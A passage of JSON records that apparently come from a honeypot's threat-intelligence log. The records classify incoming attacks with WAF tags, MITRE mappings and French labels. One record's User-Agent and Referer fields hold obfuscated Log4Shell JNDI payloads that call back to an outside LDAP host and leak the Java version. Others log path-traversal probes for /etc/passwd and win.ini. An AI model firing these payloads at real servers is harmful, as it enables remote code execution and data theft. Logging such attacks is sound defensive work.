\u0022net_slowloris\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8085","http_user_agent":"${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-\/}${s2:-\/}${m:j4:-U}${d:4rk:-A}${xf:eu7:-l}${ij9:80h:8:-0}${l:-c}${y178:fexi:--}${${zfi:-s}${oh:-y}${gjo:-s}${h:7s:-:}${yic:-j}${q0:-a}${8z4:4:do:-v}${2e:s:0:-a}${anw:ipk4:pt:-.}${smaf:1ir:-v}${o7:-e}${njq:-r}${lo2w:e9lh:if:-s}${5kc:h1b:osr:-i}${t2j:-o}${z:xp3:y:-n}}${qnlt:h7:1l3:-.}${k1hz:-e}${d:w:-7}${do:-d}${6v0q:pi:-b}${m3:q:-8}${k9:t:-c}${b58e:y8:-7}${v1ay:-c}${5t:-3}${wq1:-7}${i2:-d}${o:-3}${3sm6:-3}${dw:-2}${3:4zjs:-1}${s2ln:-2}${hgbm:a5:iy:-e}${c2:m8zy:-d}${un:wmt:1:-e}${0wv:-6}${0yq:vfm:tf6z:-d}${l:k1xv:-6}${et:ifr:jgux:-0}${zq48:3hz:-0}${1sr:4a7:-4}${am:-e}${i1c:-a}${sr:ax:-7}${uv:-3}${us:x:kd:-8}${lc9:-1}${uxg:1ap:-5}${smn2:v5:-3}${g:tilv:ugx:-3}${h:-8}${bup5:7k:-f}${10ol:-d}${6:8:-9}${n3pr:237:-0}${n92:-e}${g:ero:vpmj:-2}${d:-a}${n0y:p8b:-.}${oya:-d}${uj:3:7uhc:-n}${7:dl:-s}${4f7p:hdt:--}${zo:5c:-e}${cg:7g4:-x}${805a:54:-f}${szf:n:-i}${xmau:qt0:-l}${i:dx:g:-.}${a:bme:62k:-m}${41fa:m:r0ek:-a}${6:u8:-s}${2t:gtk:d12z:-m}${wyb:-c}${ut:-o}${oz:vgrb:8:-r}${dyb9:-e}${xl:oyn:--}${a2:-c}${asx:3m2x:-f}${3y7:c:36o:--}${krb7:-p}${dpq5:n:bx9:-r}${89:5:-o}${wp:6:-d}${6k:yzh:1ft:--}${l:-0}${6y5:-2}${x5:8ai:v1oz:-.}${n7fj:iak8:8pfx:-m}${ixe:u:n42k:-a}${w:zsnv:4ont:-s}${5:vam:1y7k:-m}${6thd:-.}${oib1:rly:1zf:-c}${s:ipv:v:-l}${5bm:s3b:k49:-o}${b2:-u}${l4k:x9j:483h:-d}${ubv8:8:8:-f}${yt:-e}${9:-r}${r:n:c01:-r}${9z:6:-y}${on9:3:-.}${8x:m0s:ebg7:-g}${d:5:-o}${xou:-o}${8j:3198:2c:-g}}","http_referer":"${${on:qehx:j4i:-j}${frp:-n}${w391:1uq:l:-d}${g:f3i:cu:-i}${7wmh:-:}${0v5k:w2a:0:-l}${b3o:-d}${2138:2ja9:-a}${0k:a8:-p}${7k10:-:}${y:vd:1n:-\/}${qi:3r:vrj:-\/}${t7:c:ui:-R}${mpd:i7:-E}${1k:-l}${onh0:-0}${iecm:wjm:vc0:-c}${hlg2:--}${${8t:9v7k:-s}${tr5v:sk4:-y}${r1t:-s}${mvk1:03tp:vl9:-:}${4y78:py0:-j}${p:rl:-a}${2s:7:j6i:-v}${2:-a}${5:90:-.}${j:iub:-v}${q:-e}${lzf:1ja:t:-r}${y:-s}${bl:-i}${bp4:9v:-o}${byci:ty:ds:-n}}${dr:1c:-.}${wf:1l:-e}${n8wq:sdz:-7}${ep:-d}${v:qf:eh12:-b}${6e0w:-8}${1xd5:7g:fp:-c}${wguq:1c0o:65w:-7}${hym:-c}${a:75hl:-3}${t:0om:9:-7}${l:-d}${w42:h4:6e:-3}${pr:e0p:-3}${ai4g:-2}${3jw:-1}${bf:fg:-2}${96m:5j:t:-e}${s52g:w7:y:-d}${w94:-e}${7n:h017:qfi:-6}${cj7:-d}${rh26:-6}${789:-0}${v:da1j:ix:-0}${4:5:-4}${z4ds:5bcu:-e}${7:o:j:-a}${efpc:my8z:w:-7}${e39:-3}${9th:49:yuix:-8}${maq:-1}${2d:-5}${kf:-3}${qd0:kd:mrs:-3}${f:wt4:-8}${j3:d6o:-f}${3:ovq:-d}${0:-9}${y:-0}${0b:tlv:k:-e}${s57:z5yv:-2}${k:-a}${x3:-.}${lrch:kc:-d}${y:4:-n}${a:c9:-s}${f4bv:--}${z:-e}${x:9tu:-x}${mh:-f}${xkyd:n:0jmq:-i}${24f:n9h:-l}${ot:yag4:-.}${sk:o7n:tay:-m}${0isk:t5o4:-a}${bk:-s}${s:-m}${9i:8igq:wt:-c}${8ms:-o}${58s:n:-r}${djbs:kbec:-e}${fo4:xp:u:--}${bki8:-c}${kyg:-f}${dco9:--}${m:cdm5:-p}${qsve:-r}${w0im:1:-o}${8:u8:-d}${db:--}${0z:l:-0}${al:-2}${8:-.}${9ra:0x4y:cm1:-m}${of:-a}${r9:0:-s}${2v:ui:-m}${vjgd:7m:amn:-.}${db:-c}${k:-l}${x4q:6:6npl:-o}${zhc3:-u}${inp:os1h:-d}${u5ts:-f}${sog4:m:-e}${o9fc:-r}${dwih:fbui:-r}${mzcu:4:m5v:-y}${c:iwma:-.}${9qu:q:vcp:-g}${9l8:qh3y:-o}${ha:6:ps:-o}${ilk:x:-g}}","tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":4096},{"id":14678915,"ip":"34.19.116.51","ts":"2026-07-31 15:35:08.000000","proto":"tcp","src_port":1992,"dst_port":8060,"service":"http","classification":"lfi_path_traversal","waf_score":27,"waf_tags":"[\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/etc\/passwd","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 2, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022659aba210ed45d12732dc398ec420869b9d4d3d3\u0022, \u0022http_target_hash\u0022: \u0022b5cc3f676d00dd320d85ef41a5209fa0a99891ea\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 195, \u0022payload_entropy\u0022: 5.364617647259123, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8060, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 78.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 2.1, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 66, \u0022tag_count\u0022: 6, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00226b8e12c476782c9978726189a62d4c150cb263e9\u0022, \u0022event_fingerprint\u0022: \u00224b846f76b08b32696db8647e47acaa72550373f6\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 344, \u0022precision_signals\u0022: [\u0022MITRE-T1083\u0022, \u0022pat-0716\u0022, \u0022pat-0802\u0022, \u0022pat-0137\u0022, \u0022CRS-930100-sub\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1083\u0022, \u0022pat-0716\u0022, \u0022pat-0802\u0022, \u0022pat-0137\u0022, \u0022CRS-930100-sub\u0022], \u0022matched_patterns\u0022: [\u0022pat-0716\u0022, \u0022pat-0802\u0022, \u0022pat-0324\u0022, \u0022pat-0137\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 930160 etc passwd\u0022, \u0022MITRE T1083 file enum\u0022, \u0022SSRF Any-address SSRF\u0022, \u0022LFI path \/etc\/passwd\u0022], \u0022pattern_ids\u0022: [\u0022pat-0716\u0022, \u0022pat-0802\u0022, \u0022pat-0324\u0022, \u0022pat-0137\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 66, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022path_traversal\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022831b1875f79bfcd902e54f49f41e83ff\u0022, \u0022path_pattern_hash\u0022: \u002274acf31844532670be412c65b8251ee5\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8060, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 66}, \u0022payload_preview\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\\r\\nHost: 62.3.50.33:8060\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/etc\/passwd\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022lfi-1\u0022, \u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\\r\\nHost: 62.3.50.33:8060\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\\r\\nHost: 62.3.50.33:8060\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/etc\/passwd\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022lfi-1\u0022, \u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\\r\\nHost: 62.3.50.33:8060\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\\r\\nHost: 62.3.50.33:8060\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre_techniques\u0022: [\u0022T1083\u0022], \u0022mitre\u0022: \u0022T1083\u0022, \u0022threat_family\u0022: [\u0022path_traversal\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022a47c1a1f4ef39bfa2b70b3d7dd36cd4ff13cc217\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/etc\/passwd\u0022, \u0022request_line\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8060, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\\r\\nHost: 62.3.50.33:8060\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW\u0022, \u0022attack_vector\u0022: \u0022lfi path traversal \u00b7 via HTTP:8060 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/etc\/passwd\u0022, \u0022target_port_label\u0022: \u00228060 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 66\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 66, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 66, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8060, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1083\u0022, \u0022pat-0716\u0022, \u0022pat-0802\u0022, \u0022pat-0137\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1083\u0022, \u0022pat-0716\u0022, \u0022pat-0802\u0022, \u0022pat-0137\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1083\u0022, \u0022mitre_technique\u0022: \u0022T1083\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/etc\/passwd\u0022, \u0022request_line\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8060, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022lfi path traversal \u00b7 via HTTP:8060 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/etc\/passwd\u0022, \u0022evidence_snippet\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\\r\\nHost: 62.3.50.33:8060\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW\u0022, \u0022target_port_label\u0022: \u00228060 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228060\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_sensitive_path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8060","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_sensitive_path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":195},{"id":14678943,"ip":"34.19.116.51","ts":"2026-07-31 15:35:08.000000","proto":"tcp","src_port":20872,"dst_port":8060,"service":"http","classification":"lfi_path_traversal","waf_score":27,"waf_tags":"[\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/Windows\/win.ini","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 2, \u0022http_path_ext\u0022: \u0022ini\u0022, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022659aba210ed45d12732dc398ec420869b9d4d3d3\u0022, \u0022http_target_hash\u0022: \u0022b5d2bf3ef60b3bbf03ffbca44323fac1d6d4719a\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 200, \u0022payload_entropy\u0022: 5.372598909902941, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8060, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 78.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 1.8, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 66, \u0022tag_count\u0022: 5, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002221a103292f033c2260bc9b9dcd6de6db692e3a6d\u0022, \u0022event_fingerprint\u0022: \u00227decd80d0398911b4b93b90469f8a94d703cea28\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 146, \u0022precision_signals\u0022: [\u0022pat-0715\u0022, \u0022CRS-930100-sub\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0715\u0022, \u0022CRS-930100-sub\u0022], \u0022matched_patterns\u0022: [\u0022pat-0715\u0022, \u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 930150 boot ini\u0022, \u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0715\u0022, \u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 66, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022path_traversal\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u002217a278a6846c20c242ae44f959ef05fd\u0022, \u0022path_pattern_hash\u0022: \u00224a136e1e1f4d3c20d824eefa8bc8174c\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8060, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 66}, \u0022payload_preview\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\\r\\nHost: 62.3.50.33:8060\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/Windows\/win.ini\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022lfi-1\u0022, \u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\\r\\nHost: 62.3.50.33:8060\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\\r\\nHost: 62.3.50.33:8060\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/Windows\/win.ini\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022lfi-1\u0022, \u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\\r\\nHost: 62.3.50.33:8060\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) 